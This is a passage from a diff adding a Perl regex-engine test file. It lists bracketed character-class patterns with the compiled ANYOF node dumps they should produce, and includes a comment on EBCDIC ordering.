+# It is painful to port some of these to EBCDIC, as not only do the code point
+# numbers change (for those < 256), but the order changes, as the compiled
+# version is sorted by native code point order. On EBCDIC, \r comes before
+# \n, and 'k' before "K', for example. So, the tests where there are
+# differences are skipped on EBCDIC. They are all at the beginning of the
+# array, and a special marker entry is used to delmit the boundary between
+# skipped and not skipped.
+
+my @tests = (
+ '[[{]' => 'ANYOFM[\[\{]',
+ '[^\S ]' => 'ANYOFD[\t\n\x0B\f\r{utf8}\x85\xA0][1680 2000-200A 2028-2029 202F 205F 3000]',
+ '[^\n\r]' => 'ANYOF[^\n\r][0100-INFINITY]',
+ '[^\/\|,\$\%%\@\ \%"\<\>\:\#\&\*\{\}\[\]\(\)]' => 'ANYOF[^ "#$%&()*,/:<>@\[\]\{|\}][0100-INFINITY]',
+ '[^[:^print:][:^ascii:]]' => 'ANYOF[\x20-\x7E]',
+ '[ [:blank:]]' => 'ANYOFD[\t {utf8}\xA0][1680 2000-200A 202F 205F 3000]',
+ '[_[:^blank:]]' => 'ANYOFD[^\t {utf8}\xA0][0100-167F 1681-1FFF 200B-202E 2030-205E 2060-2FFF 3001-INFINITY]',
+ '[\xA0[:^blank:]]' => 'ANYOF[^\t ][0100-167F 1681-1FFF 200B-202E 2030-205E 2060-2FFF 3001-INFINITY]',
+ '[ [:blank:]]' => 'ANYOFD[\t {utf8}\xA0][1680 2000-200A 202F 205F 3000]',
+ '[_[:^blank:]]' => 'ANYOFD[^\t {utf8}\xA0][0100-167F 1681-1FFF 200B-202E 2030-205E 2060-2FFF 3001-INFINITY]',
+ '[\xA0[:^blank:]]' => 'ANYOF[^\t ][0100-167F 1681-1FFF 200B-202E 2030-205E 2060-2FFF 3001-INFINITY]',
+ '(?d:[_[:^blank:]])' => 'ANYOFD[^\t {utf8}\xA0][0100-167F 1681-1FFF 200B-202E 2030-205E 2060-2FFF 3001-INFINITY]',
+ '[\x{07}-\x{0B}]' => 'ANYOF[\a\b\t\n\x0B]',
+ '(?il:[\x{212A}])' => 'ANYOFL{i}[{utf8 locale}Kk][212A]',
+ '(?il:(?[\x{212A}]))' => 'ANYOFL{utf8-locale-reqd}[Kk][212A]',
+
+ 'ebcdic_ok_below_this_marker',
+
+ '(?l:[\x{212A}])' => 'ANYOFL[212A]',
+ '(?l:[\s\x{212A}])' => 'ANYOFL[\s][1680 2000-200A 2028-2029 202F 205F 212A 3000]',
+ '(?l:[^\S\x{202F}])' => 'ANYOFL[^\\S][1680 2000-200A 2028-2029 205F 3000]',
+ '(?i:[^:])' => 'ANYOF[^:][0100-INFINITY]',
+ '[\p{Any}]' => 'ANYOF[\x00-\xFF][0100-10FFFF]',
+ '[\p{IsMyRuntimeProperty}]' => 'ANYOF[+utf8::IsMyRuntimeProperty]',
+ '[^\p{IsMyRuntimeProperty}]' => 'ANYOF[^{+utf8::IsMyRuntimeProperty}]',
+ '[a\p{IsMyRuntimeProperty}]' => 'ANYOF[a][+utf8::IsMyRuntimeProperty]',
+ '[^a\p{IsMyRuntimeProperty}]' => 'ANYOF[^a{+utf8::IsMyRuntimeProperty}]',
+ '[^a\x{100}\p{IsMyRuntimeProperty}]' => 'ANYOF[^a{+utf8::IsMyRuntimeProperty}0100]',
+ '[{INFINITY_minus_1}]' => 'ANYOF[INFINITY_minus_1]',
+ '[{INFINITY}]' => 'ANYOF[INFINITY-INFINITY]',
+ '[\x{102}\x{104}]' => 'ANYOF[0102 0104]',
+ '[\x{104}\x{102}]' => 'ANYOF[0102 0104]',
+ '[\x{103}\x{102}]' => 'ANYOF[0102-0103]',
+ '[\x{00}-{INFINITY_minus_1}]' => 'ANYOF[\x00-\xFF][0100-INFINITY_minus_1]',
+ '[\x{00}-{INFINITY}]' => 'SANY',
+ '[\x{101}-{INFINITY_minus_1}]' => 'ANYOF[0101-INFINITY_minus_1]',
+ '[\x{101}-{INFINITY}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{104}\x{102}\x{103}]' => 'ANYOF[0102-0104]',
+ '[\x{102}-\x{104}\x{101}]' => 'ANYOF[0101-0104]',
+ '[\x{102}-\x{104}\x{102}]' => 'ANYOF[0102-0104]',
+ '[\x{102}-\x{104}\x{103}]' => 'ANYOF[0102-0104]',
+ '[\x{102}-\x{104}\x{104}]' => 'ANYOF[0102-0104]',
+ '[\x{102}-\x{104}\x{105}]' => 'ANYOF[0102-0105]',
+ '[\x{102}-\x{104}\x{106}]' => 'ANYOF[0102-0104 0106]',
+ '[\x{102}-\x{104}{INFINITY_minus_1}]' => 'ANYOF[0102-0104 INFINITY_minus_1]',
+ '[\x{102}-\x{104}{INFINITY}]' => 'ANYOF[0102-0104 INFINITY-INFINITY]',
+ '[\x{102}-\x{104}\x{101}-{INFINITY_minus_1}]' => 'ANYOF[0101-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{101}-{INFINITY}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{102}-\x{104}\x{102}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{102}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{102}-\x{104}\x{103}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{103}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{102}-\x{104}\x{104}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{104}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{102}-\x{104}\x{105}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{105}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{102}-\x{104}\x{106}-{INFINITY_minus_1}]' => 'ANYOF[0102-0104 0106-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{106}-{INFINITY}]' => 'ANYOF[0102-0104 0106-INFINITY]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}]' => 'ANYOF[0101-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}]' => 'ANYOF[0102-0105 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}]' => 'ANYOF[0102-0104 0106 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{107}]' => 'ANYOF[0102-0104 0107-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{108}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{109}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{10A}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{10B}]' => 'ANYOF[0102-0104 0108-010B]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}{INFINITY_minus_1}]' => 'ANYOF[0102-0104 0108-010A INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}{INFINITY}]' => 'ANYOF[0102-0104 0108-010A INFINITY-INFINITY]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{102}]' => 'ANYOF[0101-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{103}]' => 'ANYOF[0101-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{104}]' => 'ANYOF[0101-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{105}]' => 'ANYOF[0101-0105 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{106}]' => 'ANYOF[0101-0106 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{107}]' => 'ANYOF[0101-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{108}]' => 'ANYOF[0101-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{109}]' => 'ANYOF[0101-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{10A}]' => 'ANYOF[0101-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{10B}]' => 'ANYOF[0101-010B]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-{INFINITY_minus_1}]' => 'ANYOF[0101-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{101}-{INFINITY}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{102}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{103}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{104}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{105}]' => 'ANYOF[0102-0105 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{106}]' => 'ANYOF[0102-0106 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{107}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{108}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{109}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{10A}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{10B}]' => 'ANYOF[0102-010B]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{10C}]' => 'ANYOF[0102-010C]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{102}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{104}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{105}]' => 'ANYOF[0102-0105 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{106}]' => 'ANYOF[0102-0106 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{107}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{108}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{109}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{10A}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{10B}]' => 'ANYOF[0102-010B]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{10C}]' => 'ANYOF[0102-010C]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{103}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}]' => 'ANYOF[0102-0104 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{105}]' => 'ANYOF[0102-0105 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{106}]' => 'ANYOF[0102-0106 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{107}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{108}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{109}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{10A}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{10B}]' => 'ANYOF[0102-010B]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{10C}]' => 'ANYOF[0102-010C]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{104}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}]' => 'ANYOF[0102-0105 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{106}]' => 'ANYOF[0102-0106 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{107}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{108}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{109}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{10A}]' => 'ANYOF[0102-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{10B}]' => 'ANYOF[0102-010B]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{10C}]' => 'ANYOF[0102-010C]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{105}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}]' => 'ANYOF[0102-0104 0106 0108-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{107}]' => 'ANYOF[0102-0104 0106-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{108}]' => 'ANYOF[0102-0104 0106-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{109}]' => 'ANYOF[0102-0104 0106-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{10A}]' => 'ANYOF[0102-0104 0106-010A]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{10B}]' => 'ANYOF[0102-0104 0106-010B]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}-\x{10C}]' => 'ANYOF[0102-0104 0106-010C]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}-{INFINITY_minus_1}]' => 'ANYOF[0102-0104 0106-INFINITY_minus_1]',
+ '[\x{102}-\x{104}\x{108}-\x{10A}\x{106}-{INFINITY}]' => 'ANYOF[0102-0104 0106-INFINITY]',
+ '[\x{10C}-{INFINITY}{INFINITY_minus_1}]' => 'ANYOF[010C-INFINITY]',
+ '[\x{10C}-{INFINITY}{INFINITY}]' => 'ANYOF[010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}\x{104}]' => 'ANYOF[0102 0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{104}\x{102}]' => 'ANYOF[0102 0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{103}\x{102}]' => 'ANYOF[0102-0103 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{00}-{INFINITY_minus_1}]' => 'SANY',
+ '[\x{10C}-{INFINITY}\x{00}-{INFINITY}]' => 'SANY',
+ '[\x{10C}-{INFINITY}\x{101}-{INFINITY_minus_1}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{101}-{INFINITY}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{104}\x{102}\x{103}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{101}]' => 'ANYOF[0101-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{102}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{103}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{104}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{105}]' => 'ANYOF[0102-0105 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{106}]' => 'ANYOF[0102-0104 0106 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}{INFINITY_minus_1}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}{INFINITY}]' => 'ANYOF[0102-0104 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{101}-{INFINITY_minus_1}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{101}-{INFINITY}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{102}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{102}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{103}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{103}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{104}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{104}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{105}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{105}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{106}-{INFINITY_minus_1}]' => 'ANYOF[0102-0104 0106-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{106}-{INFINITY}]' => 'ANYOF[0102-0104 0106-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}]' => 'ANYOF[0101-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}]' => 'ANYOF[0102-0105 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{106}]' => 'ANYOF[0102-0104 0106 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{107}]' => 'ANYOF[0102-0104 0107-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{108}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{109}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{10A}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{10B}]' => 'ANYOF[0102-0104 0108-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}{INFINITY_minus_1}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}{INFINITY}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{102}]' => 'ANYOF[0101-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{103}]' => 'ANYOF[0101-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{104}]' => 'ANYOF[0101-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{105}]' => 'ANYOF[0101-0105 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{106}]' => 'ANYOF[0101-0106 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{107}]' => 'ANYOF[0101-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{108}]' => 'ANYOF[0101-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{109}]' => 'ANYOF[0101-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{10A}]' => 'ANYOF[0101-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-\x{10B}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-{INFINITY_minus_1}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{101}-{INFINITY}]' => 'ANYOF[0101-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{102}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{103}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{104}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{105}]' => 'ANYOF[0102-0105 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{106}]' => 'ANYOF[0102-0106 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{107}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{108}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{109}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{10A}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{10B}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-\x{10C}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{102}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{104}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{105}]' => 'ANYOF[0102-0105 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{106}]' => 'ANYOF[0102-0106 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{107}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{108}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{109}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{10A}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{10B}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-\x{10C}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{103}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}]' => 'ANYOF[0102-0104 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{105}]' => 'ANYOF[0102-0105 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{106}]' => 'ANYOF[0102-0106 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{107}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{108}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{109}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{10A}]' => 'ANYOF[0102-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{10B}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-\x{10C}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-{INFINITY_minus_1}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{104}-{INFINITY}]' => 'ANYOF[0102-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}]' => 'ANYOF[0102-0105 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{106}]' => 'ANYOF[0102-0106 0108-010A 010C-INFINITY]',
+ '[\x{10C}-{INFINITY}\x{102}-\x{104}\x{108}-\x{10A}\x{105}-\x{107}]' => 'ANYOF[0102-010A 010C-INFINITY]',
